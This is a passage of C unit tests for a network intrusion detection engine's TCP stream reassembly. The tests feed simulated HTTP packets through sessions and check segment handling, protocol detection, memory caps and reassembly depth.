ssn->server.seg_list == NULL ||
ssn->server.seg_list->next != NULL ||
ssn->data_first_seen_dir != APP_LAYER_DATA_ALREADY_SENT_TO_APP_LAYER) {
printf("failure 8\n");
goto end;
}
/* response - acking */
p->tcph->th_ack = htonl(88);
p->tcph->th_seq = htonl(328);
p->tcph->th_flags = TH_PUSH | TH_ACK;
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload_len = 0;
p->payload = NULL;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_HTTP ||
f.alproto_ts != ALPROTO_HTTP ||
f.alproto_tc != ALPROTO_HTTP ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
!FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || !FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
!FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list == NULL ||
ssn->client.seg_list->next == NULL ||
ssn->server.seg_list == NULL ||
ssn->server.seg_list->next != NULL ||
ssn->data_first_seen_dir != APP_LAYER_DATA_ALREADY_SENT_TO_APP_LAYER) {
printf("failure 9\n");
goto end;
}
/* response ack from request */
p->tcph->th_ack = htonl(328);
p->tcph->th_seq = htonl(88);
p->tcph->th_flags = TH_ACK;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload_len = 0;
p->payload = NULL;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_HTTP ||
f.alproto_ts != ALPROTO_HTTP ||
f.alproto_tc != ALPROTO_HTTP ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
!FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || !FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
!FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list == NULL ||
ssn->client.seg_list->next == NULL ||
ssn->server.seg_list == NULL ||
ssn->server.seg_list->next != NULL ||
ssn->data_first_seen_dir != APP_LAYER_DATA_ALREADY_SENT_TO_APP_LAYER) {
printf("failure 10\n");
goto end;
}
/* response - acking the request again*/
p->tcph->th_ack = htonl(88);
p->tcph->th_seq = htonl(328);
p->tcph->th_flags = TH_PUSH | TH_ACK;
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload_len = 0;
p->payload = NULL;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_HTTP ||
f.alproto_ts != ALPROTO_HTTP ||
f.alproto_tc != ALPROTO_HTTP ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
!FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || !FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
!FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list == NULL ||
ssn->client.seg_list->next == NULL ||
ssn->server.seg_list == NULL ||
ssn->server.seg_list->next != NULL ||
ssn->data_first_seen_dir != APP_LAYER_DATA_ALREADY_SENT_TO_APP_LAYER) {
printf("failure 11\n");
goto end;
}
/*** New Request ***/
/* partial request */
p->tcph->th_ack = htonl(328);
p->tcph->th_seq = htonl(88);
p->tcph->th_flags = TH_PUSH | TH_ACK;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload_len = sizeof(request1);
p->payload = request1;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_HTTP ||
f.alproto_ts != ALPROTO_HTTP ||
f.alproto_tc != ALPROTO_HTTP ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
!FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || !FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
!FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list == NULL ||
ssn->client.seg_list->next == NULL ||
ssn->client.seg_list->next->next == NULL ||
ssn->server.seg_list == NULL ||
ssn->server.seg_list->next != NULL ||
ssn->data_first_seen_dir != APP_LAYER_DATA_ALREADY_SENT_TO_APP_LAYER) {
printf("failure 12\n");
goto end;
}
/* response ack against partial request */
p->tcph->th_ack = htonl(90);
p->tcph->th_seq = htonl(328);
p->tcph->th_flags = TH_ACK;
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload_len = 0;
p->payload = NULL;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_HTTP ||
f.alproto_ts != ALPROTO_HTTP ||
f.alproto_tc != ALPROTO_HTTP ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
!FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || !FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
!FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list == NULL ||
ssn->client.seg_list->next == NULL ||
ssn->client.seg_list->next->next == NULL ||
ssn->server.seg_list == NULL ||
ssn->server.seg_list->next != NULL ||
ssn->data_first_seen_dir != APP_LAYER_DATA_ALREADY_SENT_TO_APP_LAYER) {
printf("failure 13\n");
goto end;
}
/* complete request */
p->tcph->th_ack = htonl(328);
p->tcph->th_seq = htonl(90);
p->tcph->th_flags = TH_PUSH | TH_ACK;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload_len = sizeof(request2);
p->payload = request2;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_HTTP ||
f.alproto_ts != ALPROTO_HTTP ||
f.alproto_tc != ALPROTO_HTTP ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
!FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || !FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
!FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list == NULL ||
ssn->client.seg_list->next == NULL ||
ssn->client.seg_list->next->next == NULL ||
ssn->client.seg_list->next->next->next == NULL ||
ssn->server.seg_list == NULL ||
ssn->server.seg_list->next != NULL ||
ssn->data_first_seen_dir != APP_LAYER_DATA_ALREADY_SENT_TO_APP_LAYER) {
printf("failure 14\n");
goto end;
}
/* response ack against second partial request */
p->tcph->th_ack = htonl(175);
p->tcph->th_seq = htonl(328);
p->tcph->th_flags = TH_ACK;
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload_len = 0;
p->payload = NULL;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_HTTP ||
f.alproto_ts != ALPROTO_HTTP ||
f.alproto_tc != ALPROTO_HTTP ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
!FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || !FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
!FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list->next == NULL ||
ssn->client.seg_list->next->next == NULL ||
ssn->client.seg_list->next->next->next == NULL ||
ssn->server.seg_list == NULL ||
ssn->server.seg_list->next != NULL ||
ssn->data_first_seen_dir != APP_LAYER_DATA_ALREADY_SENT_TO_APP_LAYER) {
printf("failure 15\n");
goto end;
}
if (ssn->toserver_smsg_head == NULL ||
ssn->toserver_smsg_head->next == NULL ||
ssn->toserver_smsg_head->next->next != NULL ||
ssn->toclient_smsg_head == NULL ||
ssn->toclient_smsg_head->next != NULL) {
printf("failure 16\n");
goto end;
}
StreamMsgReturnListToPool(ssn->toserver_smsg_head);
ssn->toserver_smsg_head = ssn->toserver_smsg_tail = NULL;
StreamMsgReturnListToPool(ssn->toclient_smsg_head);
ssn->toclient_smsg_head = ssn->toclient_smsg_tail = NULL;
/* response acking a request */
p->tcph->th_ack = htonl(175);
p->tcph->th_seq = htonl(328);
p->tcph->th_flags = TH_ACK;
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload_len = 0;
p->payload = NULL;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_HTTP ||
f.alproto_ts != ALPROTO_HTTP ||
f.alproto_tc != ALPROTO_HTTP ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
!FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || !FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
!FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list != NULL ||
ssn->server.seg_list == NULL ||
ssn->server.seg_list->next != NULL ||
ssn->data_first_seen_dir != APP_LAYER_DATA_ALREADY_SENT_TO_APP_LAYER) {
printf("failure 15\n");
goto end;
}
/* request acking a response */
p->tcph->th_ack = htonl(328);
p->tcph->th_seq = htonl(175);
p->tcph->th_flags = TH_ACK;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload_len = 0;
p->payload = NULL;
if (StreamTcpPacket(&tv, p, stt, &pq) == -1)
goto end;
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->server) ||
!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn->client) ||
f.alproto != ALPROTO_HTTP ||
f.alproto_ts != ALPROTO_HTTP ||
f.alproto_tc != ALPROTO_HTTP ||
f.data_al_so_far[0] != 0 ||
f.data_al_so_far[1] != 0 ||
f.flags & FLOW_NO_APPLAYER_INSPECTION ||
!FLOW_IS_PM_DONE(&f, STREAM_TOSERVER) || !FLOW_IS_PP_DONE(&f, STREAM_TOSERVER) ||
!FLOW_IS_PM_DONE(&f, STREAM_TOCLIENT) || FLOW_IS_PP_DONE(&f, STREAM_TOCLIENT) ||
ssn->client.seg_list != NULL ||
ssn->server.seg_list != NULL ||
ssn->data_first_seen_dir != APP_LAYER_DATA_ALREADY_SENT_TO_APP_LAYER) {
printf("failure 15\n");
goto end;
}
ret = 1;
end:
StreamTcpThreadDeinit(&tv, (void *)stt);
StreamTcpSessionClear(p->flow->protoctx);
StreamTcpFreeConfig(TRUE);
SCFree(p);
SCMutexUnlock(&f.m);
return ret;
}
/**
* \test Test to make sure that we sent all the segments from the initial
* segments to app layer until we have detected the app layer proto.
*
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest40 (void)
{
int ret = 0;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow *f = NULL;
TCPHdr tcph;
TcpSession ssn;
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&tcph, 0, sizeof (TCPHdr));
memset(&ssn, 0, sizeof(TcpSession));
ThreadVars tv;
memset(&tv, 0, sizeof (ThreadVars));
StreamTcpInitConfig(TRUE);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOSERVER, 130);
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
uint8_t httpbuf1[] = "P";
uint32_t httplen1 = sizeof(httpbuf1) - 1; /* minus the \0 */
uint8_t httpbuf3[] = "O";
uint32_t httplen3 = sizeof(httpbuf3) - 1; /* minus the \0 */
uint8_t httpbuf4[] = "S";
uint32_t httplen4 = sizeof(httpbuf4) - 1; /* minus the \0 */
uint8_t httpbuf5[] = "T \r\n";
uint32_t httplen5 = sizeof(httpbuf5) - 1; /* minus the \0 */
uint8_t httpbuf2[] = "HTTP/1.0 200 OK\r\nServer: VictorServer/1.0\r\n\r\n";
uint32_t httplen2 = sizeof(httpbuf2) - 1; /* minus the \0 */
ssn.server.ra_raw_base_seq = ssn.server.ra_app_base_seq = 9;
ssn.server.isn = 9;
ssn.server.last_ack = 10;
ssn.client.ra_raw_base_seq = ssn.client.ra_app_base_seq = 9;
ssn.client.isn = 9;
ssn.client.last_ack = 10;
f = UTHBuildFlow(AF_INET, "1.2.3.4", "1.2.3.5", 200, 220);
if (f == NULL)
goto end;
f->protoctx = &ssn;
f->proto = IPPROTO_TCP;
p->flow = f;
tcph.th_win = htons(5480);
tcph.th_seq = htonl(10);
tcph.th_ack = htonl(10);
tcph.th_flags = TH_ACK|TH_PUSH;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload = httpbuf1;
p->payload_len = httplen1;
ssn.state = TCP_ESTABLISHED;
TcpStream *s = NULL;
s = &ssn.client;
SCMutexLock(&f->m);
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (1): ");
goto end;
}
/* Check if we have stream smsgs in queue */
if (UtSsnSmsgCnt(&ssn, STREAM_TOCLIENT) > 0) {
printf("there shouldn't be any stream smsgs in the queue, as we didn't"
" processed any smsg from toserver side till yet (2): ");
goto end;
}
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload = httpbuf2;
p->payload_len = httplen2;
tcph.th_seq = htonl(10);
tcph.th_ack = htonl(11);
s = &ssn.server;
ssn.server.last_ack = 11;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (3): ");
goto end;
}
p->flowflags = FLOW_PKT_TOSERVER;
p->payload = httpbuf3;
p->payload_len = httplen3;
tcph.th_seq = htonl(11);
tcph.th_ack = htonl(55);
s = &ssn.client;
ssn.client.last_ack = 55;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (5): ");
goto end;
}
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload = httpbuf2;
p->payload_len = httplen2;
tcph.th_seq = htonl(55);
tcph.th_ack = htonl(12);
s = &ssn.server;
ssn.server.last_ack = 12;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (6): ");
goto end;
}
/* check is have the segment in the list and flagged or not */
if (ssn.client.seg_list == NULL ||
(ssn.client.seg_list->flags & SEGMENTTCP_FLAG_APPLAYER_PROCESSED))
{
printf("the list is NULL or the processed segment has not been flaged (7): ");
goto end;
}
p->flowflags = FLOW_PKT_TOSERVER;
p->payload = httpbuf4;
p->payload_len = httplen4;
tcph.th_seq = htonl(12);
tcph.th_ack = htonl(100);
s = &ssn.client;
ssn.client.last_ack = 100;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (10): ");
goto end;
}
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload = httpbuf2;
p->payload_len = httplen2;
tcph.th_seq = htonl(100);
tcph.th_ack = htonl(13);
s = &ssn.server;
ssn.server.last_ack = 13;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (11): ");
goto end;
}
p->flowflags = FLOW_PKT_TOSERVER;
p->payload = httpbuf5;
p->payload_len = httplen5;
tcph.th_seq = htonl(13);
tcph.th_ack = htonl(145);
s = &ssn.client;
ssn.client.last_ack = 145;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (14): ");
goto end;
}
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload = httpbuf2;
p->payload_len = httplen2;
tcph.th_seq = htonl(145);
tcph.th_ack = htonl(16);
s = &ssn.server;
ssn.server.last_ack = 16;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (15): ");
goto end;
}
/* Check if we have stream smsgs in queue */
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) == 0) {
printf("there should be a stream smsgs in the queue, as we have detected"
" the app layer protocol and one smsg from toserver side has "
"been sent (16): ");
goto end;
}
if (f->alproto != ALPROTO_HTTP) {
printf("app layer proto has not been detected (18): ");
goto end;
}
ret = 1;
end:
StreamTcpReassembleFreeThreadCtx(ra_ctx);
StreamTcpFreeConfig(TRUE);
SCFree(p);
SCMutexUnlock(&f->m);
UTHFreeFlow(f);
return ret;
}
/**
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest43 (void)
{
int ret = 0;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow *f = NULL;
TCPHdr tcph;
TcpSession ssn;
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&tcph, 0, sizeof (TCPHdr));
memset(&ssn, 0, sizeof(TcpSession));
ThreadVars tv;
memset(&tv, 0, sizeof (ThreadVars));
StreamTcpInitConfig(TRUE);
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
uint8_t httpbuf1[] = "/ HTTP/1.0\r\nUser-Agent: Victor/1.0";
uint32_t httplen1 = sizeof(httpbuf1) - 1; /* minus the \0 */
uint8_t httpbuf2[] = "HTTP/1.0 200 OK\r\nServer: VictorServer/1.0\r\n\r\n";
uint32_t httplen2 = sizeof(httpbuf2) - 1; /* minus the \0 */
uint8_t httpbuf3[] = "W2dyb3VwMV0NCnBob25lMT1wMDB3ODgyMTMxMzAyMTINCmxvZ2lu"
"MT0NCnBhc3N3b3JkMT0NCnBob25lMj1wMDB3ODgyMTMxMzAyMTIN"
"CmxvZ2luMj0NCnBhc3N3b3JkMj0NCnBob25lMz0NCmxvZ2luMz0N"
"CnBhc3N3b3JkMz0NCnBob25lND0NCmxvZ2luND0NCnBhc3N3b3Jk"
"ND0NCnBob25lNT0NCmxvZ2luNT0NCnBhc3N3b3JkNT0NCnBob25l"
"Nj0NCmxvZ2luNj0NCnBhc3N3b3JkNj0NCmNhbGxfdGltZTE9MzIN"
"CmNhbGxfdGltZTI9MjMyDQpkYXlfbGltaXQ9NQ0KbW9udGhfbGlt"
"aXQ9MTUNCltncm91cDJdDQpwaG9uZTE9DQpsb2dpbjE9DQpwYXNz"
"d29yZDE9DQpwaG9uZTI9DQpsb2dpbjI9DQpwYXNzd29yZDI9DQpw"
"aG9uZT\r\n\r\n";
uint32_t httplen3 = sizeof(httpbuf3) - 1; /* minus the \0 */
ssn.server.ra_raw_base_seq = ssn.server.ra_app_base_seq = 9;
ssn.server.isn = 9;
ssn.server.last_ack = 600;
ssn.client.ra_raw_base_seq = ssn.client.ra_app_base_seq = 9;
ssn.client.isn = 9;
ssn.client.last_ack = 600;
f = UTHBuildFlow(AF_INET, "1.2.3.4", "1.2.3.5", 200, 220);
if (f == NULL)
goto end;
f->protoctx = &ssn;
f->proto = IPPROTO_TCP;
p->flow = f;
tcph.th_win = htons(5480);
tcph.th_seq = htonl(10);
tcph.th_ack = htonl(10);
tcph.th_flags = TH_ACK|TH_PUSH;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload = httpbuf2;
p->payload_len = httplen2;
ssn.state = TCP_ESTABLISHED;
TcpStream *s = NULL;
s = &ssn.server;
SCMutexLock(&f->m);
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (1): ");
goto end;
}
/* Check if we have stream smsgs in queue */
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) > 0) {
printf("there shouldn't be any stream smsgs in the queue (2): ");
goto end;
}
p->flowflags = FLOW_PKT_TOSERVER;
p->payload = httpbuf1;
p->payload_len = httplen1;
tcph.th_seq = htonl(10);
tcph.th_ack = htonl(55);
s = &ssn.client;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (3): ");
goto end;
}
/* Check if we have stream smsgs in queue */
if (UtSsnSmsgCnt(&ssn, STREAM_TOCLIENT) > 0) {
printf("there shouldn't be any stream smsgs in the queue, as we didn't"
" processed any smsg from toserver side till yet (4): ");
goto end;
}
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload = httpbuf2;
p->payload_len = httplen2;
tcph.th_seq = htonl(55);
tcph.th_ack = htonl(44);
s = &ssn.server;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (5): ");
goto end;
}
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn.client)) {
printf("app layer detected flag isn't set, it should be (8): ");
goto end;
}
/* This packets induces a packet gap and also shows why we need to
process the current segment completely, even if it results in sending more
than one smsg to the app layer. If we don't send more than one smsg in
this case, then the first segment of lentgh 34 bytes will be sent to
app layer and protocol can not be detected in that message and moreover
the segment lentgh is less than the max. signature size for protocol
detection, so this will keep looping !! */
p->flowflags = FLOW_PKT_TOSERVER;
p->payload = httpbuf3;
p->payload_len = httplen3;
tcph.th_seq = htonl(54);
tcph.th_ack = htonl(100);
s = &ssn.client;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (9): ");
goto end;
}
/* Check if we have stream smsgs in queue */
if (UtSsnSmsgCnt(&ssn, STREAM_TOCLIENT) > 0) {
printf("there shouldn't be any stream smsgs in the queue, as we didn't"
" detected the app layer protocol till yet (10): ");
goto end;
}
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload = httpbuf2;
p->payload_len = httplen2;
tcph.th_seq = htonl(100);
tcph.th_ack = htonl(53);
s = &ssn.server;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet (11): ");
goto end;
}
/* the flag should be set, as the smsg scanned size has crossed the max.
signature size for app proto detection */
if (!StreamTcpIsSetStreamFlagAppProtoDetectionCompleted(&ssn.client)) {
printf("app layer detected flag is not set, it should be (14): ");
goto end;
}
ret = 1;
end:
StreamTcpReassembleFreeThreadCtx(ra_ctx);
StreamTcpFreeConfig(TRUE);
SCFree(p);
SCMutexUnlock(&f->m);
UTHFreeFlow(f);
return ret;
}
/** \test Test the memcap incrementing/decrementing and memcap check */
static int StreamTcpReassembleTest44(void)
{
uint8_t ret = 0;
StreamTcpInitConfig(TRUE);
uint32_t memuse = SC_ATOMIC_GET(ra_memuse);
StreamTcpReassembleIncrMemuse(500);
if (SC_ATOMIC_GET(ra_memuse) != (memuse+500)) {
printf("failed in incrementing the memory");
goto end;
}
StreamTcpReassembleDecrMemuse(500);
if (SC_ATOMIC_GET(ra_memuse) != memuse) {
printf("failed in decrementing the memory");
goto end;
}
if (StreamTcpReassembleCheckMemcap(500) != 1) {
printf("failed in validating the memcap");
goto end;
}
if (StreamTcpReassembleCheckMemcap((memuse + stream_config.reassembly_memcap)) != 0) {
printf("failed in validating the memcap");
goto end;
}
StreamTcpFreeConfig(TRUE);
if (SC_ATOMIC_GET(ra_memuse) != 0) {
printf("failed in clearing the memory");
goto end;
}
ret = 1;
return ret;
end:
StreamTcpFreeConfig(TRUE);
return ret;
}
/**
* \test Test to make sure that reassembly_depth is enforced.
*
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest45 (void)
{
int ret = 0;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow *f = NULL;
TCPHdr tcph;
TcpSession ssn;
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&tcph, 0, sizeof (TCPHdr));
memset(&ssn, 0, sizeof(TcpSession));
ThreadVars tv;
memset(&tv, 0, sizeof (ThreadVars));
uint8_t httpbuf1[] = "/ HTTP/1.0\r\nUser-Agent: Victor/1.0";
uint32_t httplen1 = sizeof(httpbuf1) - 1; /* minus the \0 */
StreamTcpInitConfig(TRUE);
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
STREAMTCP_SET_RA_BASE_SEQ(&ssn.server, 9);
ssn.server.isn = 9;
ssn.server.last_ack = 60;
STREAMTCP_SET_RA_BASE_SEQ(&ssn.client, 9);
ssn.client.isn = 9;
ssn.client.last_ack = 60;
f = UTHBuildFlow(AF_INET, "1.2.3.4", "1.2.3.5", 200, 220);
if (f == NULL)
goto end;
f->protoctx = &ssn;
f->proto = IPPROTO_TCP;
p->flow = f;
tcph.th_win = htons(5480);
tcph.th_seq = htonl(10);
tcph.th_ack = htonl(20);
tcph.th_flags = TH_ACK|TH_PUSH;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload = httpbuf1;
p->payload_len = httplen1;
ssn.state = TCP_ESTABLISHED;
/* set the default value of reassembly depth, as there is no config file */
stream_config.reassembly_depth = httplen1 + 1;
TcpStream *s = NULL;
s = &ssn.server;
SCMutexLock(&f->m);
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toclient packet: ");
goto end;
}
/* Check if we have flags set or not */
if (s->flags & STREAMTCP_STREAM_FLAG_NOREASSEMBLY) {
printf("there shouldn't be a noreassembly flag be set: ");
goto end;
}
STREAMTCP_SET_RA_BASE_SEQ(&ssn.server, ssn.server.isn + httplen1);
p->flowflags = FLOW_PKT_TOSERVER;
p->payload_len = httplen1;
s = &ssn.client;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet: ");
goto end;
}
/* Check if we have flags set or not */
if (s->flags & STREAMTCP_STREAM_FLAG_NOREASSEMBLY) {
printf("there shouldn't be a noreassembly flag be set: ");
goto end;
}
STREAMTCP_SET_RA_BASE_SEQ(&ssn.client, ssn.client.isn + httplen1);
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload_len = httplen1;
s = &ssn.server;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet: ");
goto end;
}
/* Check if we have flags set or not */
if (!(s->flags & STREAMTCP_STREAM_FLAG_NOREASSEMBLY)) {
printf("the noreassembly flags should be set, "
"p.payload_len %"PRIu16" stream_config.reassembly_"
"depth %"PRIu32": ", p->payload_len,
stream_config.reassembly_depth);
goto end;
}
ret = 1;
end:
StreamTcpReassembleFreeThreadCtx(ra_ctx);
StreamTcpFreeConfig(TRUE);
SCFree(p);
SCMutexUnlock(&f->m);
UTHFreeFlow(f);
return ret;
}
/**
* \test Test the undefined config value of reassembly depth.
* the default value of 0 will be loaded and stream will be reassembled
* until the session ended
*
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest46 (void)
{
int ret = 0;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow *f = NULL;
TCPHdr tcph;
TcpSession ssn;
ThreadVars tv;
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&tcph, 0, sizeof (TCPHdr));
memset(&ssn, 0, sizeof(TcpSession));
memset(&tv, 0, sizeof (ThreadVars));
uint8_t httpbuf1[] = "/ HTTP/1.0\r\nUser-Agent: Victor/1.0";
uint32_t httplen1 = sizeof(httpbuf1) - 1; /* minus the \0 */
StreamTcpInitConfig(TRUE);
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
STREAMTCP_SET_RA_BASE_SEQ(&ssn.server, 9);
ssn.server.isn = 9;
ssn.server.last_ack = 60;
ssn.server.next_seq = ssn.server.isn;
